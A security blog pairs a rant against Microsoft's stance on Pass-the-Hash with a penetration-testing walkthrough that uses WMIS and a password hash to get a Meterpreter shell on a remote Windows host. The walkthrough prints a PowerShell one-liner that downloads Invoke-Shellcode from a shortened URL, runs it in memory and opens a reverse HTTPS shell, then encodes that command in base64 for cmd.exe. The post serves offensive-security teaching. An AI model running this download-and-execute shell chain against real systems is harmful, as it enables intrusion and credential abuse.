Why We Don't Get It and Why We Shouldn't

Warning: This is a rant with a few technical details sprinkled in.

It is 2014.

Would you voluntarily store your sensitive data with an organization that...

stores your password essentially in clear text?
stores it somewhere else as an unsalted hash?
treats password hashes as an equivalent to a password?
can't tell the difference between when the hash was used or the password?
introduces a mitigation feature that actually makes the problem a bit worse?
tells you they are properly encrypting your administrative and service passwords?
introduces two-factor authentication support but doesn't actually enforce it in some cases?

Hopefully, you answered "NO!" to all of those questions, but its very likely that you are doing all of those things in your enterprise. Congratulations, by utilizing Microsoft Windows you have inherited all of those problems and more! All of the data that resides on Windows-based file servers, SharePoint servers and Exchange servers are all at risk, but according to Microsoft this is not a "Windows Problem":

The title of the slide seems to be where Microsoft goes wrong. They assert that Pass-the-Hash (PtH) is the same thing as Single-Sign On (SSO). It is not. The PtH attack is viable because of how Microsoft designed their authentication architecture decades ago. So to fix the title of that slide:

PtH == MS' broken SSO implementation <-----fixed your slide for you Mark.
— Chris (@obscuresec) March 1, 2014

There are other logical problems with the slide, but the content is generally correct. PtH can't be "fixed" within the constructs of the currently broken authentication model. Whose problem is that? If you are a Windows user, apparently it is yours.

@obscuresec @scriptjunkie1 @Fake4d sorry you guys don't get it. Too bad you won't be at @RSAConference to watch.
— Mark Russinovich (@markrussinovich) February 24, 2014

You were absolutely correct before you blocked us on twitter, we don't get it. We really don't get it. Why do we have to accept this vulnerability just because you assert that it is a feature? (On another note, Why would we pay to see a talk that you and other Microsoft employees have already given many times?)

We applaud your efforts to make Windows more secure going forward, but convoluting token manipulation and PtH is wrong. Please stop doing it. Furthermore, if your SSO-model means that an attacker can masquerade undetected as any user (without having to crack passwords) - IT IS BROKEN.

When will you stop hiding behind your dated "Laws of Security"? They are true for Windows, but should they be? Should an attacker be able to knock over a domain controller and have access to all of your data? Should an admin be able to easily gain access to all data on the system regardless of ACLs?

The new mitigation techniques are long overdue band-aides and do nothing to stop and attacker who has already taken over your domain. The model is broken Microsoft. Fix it.

Oh yeah, I support this:

@obscuresec @jcran @passingthehash MARCH IS PASS-THE-HASH AWARENESS MONTH
— scriptjunkie (@scriptjunkie1) March 1, 2014

-Chris

WMIS: The Missing Piece of the Ownage Puzzle

The unsung hero of the PTH-Suite is definitely WMIS. It has replaced several other tools that I previously used to pass the hash. It is essentially the Linux equivalent to WMIC and the "process call create" query. The advantage of WMI over other methods of remote command execution is that it doesn't doesn't rely on SMB and starting a service on the remote host.  In most cases, it flies beneath the radar and it just might be the easiest way to get a shell on a remote host all without writing to the disk.

I recently wrote a post on Pentest Geek about how easy it easy it is to get a Meterpreter shell from a PowerShell console by using Matt Graeber's PowerSploit function Invoke-Shellcode. WMIS with a password hash (or password) is essentially like being able to run a single cmd.exe command at a time. There are lots of ways to turn that type of access into a shell, but few are as easy as this.

The first step is to properly install WMIS as described here. Unfortunately, those steps need to be followed even today for x64 versions of Kali.

Now that we have WMIS installed, we can start our Meterpreter handler. I prefer to use this script to automate the process:

Next, we need to build the PowerShell code we want to execute to get our shell:

IEX (New-Object Net.WebClient).DownloadString(‘http://bit.ly/14bZZ0c’); Invoke-Shellcode –Payload windows/meterpreter/reverse_https –Lhost 192.168.0.15 –Lport 443 –Force

What this is doing is utilizing Invoke-Expression (aliased to IEX) to execute what is downloaded with the .Net webclient. The Invoke-Shellcode function is being downloaded and ran in memory and we are appending the options we need to get our shell.

Now we need to convert this script block into something that cmd.exe understands. The best way to do that is to base64 encode the scriptblock which can also be accomplished with another simple python script:

You may notice that the script is ensuring we don't pass the length restriction for cmd.exe and encoding the string to little endian Unicode before base64 encoding. PowerShell can be quirky, but a good explanation can be found here.  After running the script we have the command to feed to WMIS:

Now we can run WMIS with the command from the previous script:

Now we wait. It could take up to a few minutes, but eventually we will have our shell:

That is it. We can pass hashes to get a Meterpreter shell without starting a service, uploading a binary or using SMB.  My next post will demonstrate how to automate the entire process and will discuss the release of the latest addition to the PTH-Suite: PowerPTH. Stay tuned.

Join us at Blackhat where we will continue our talk from last year with new PtH-related content including some simple mitigations.  If you are interested in PowerShell uses in pentesting, check out my blog for a list of great resources and sign up for Carlos Perez's PowerShell class at Derbycon.  Speaking of Derbycon, Skip and I will be there too!

-Chris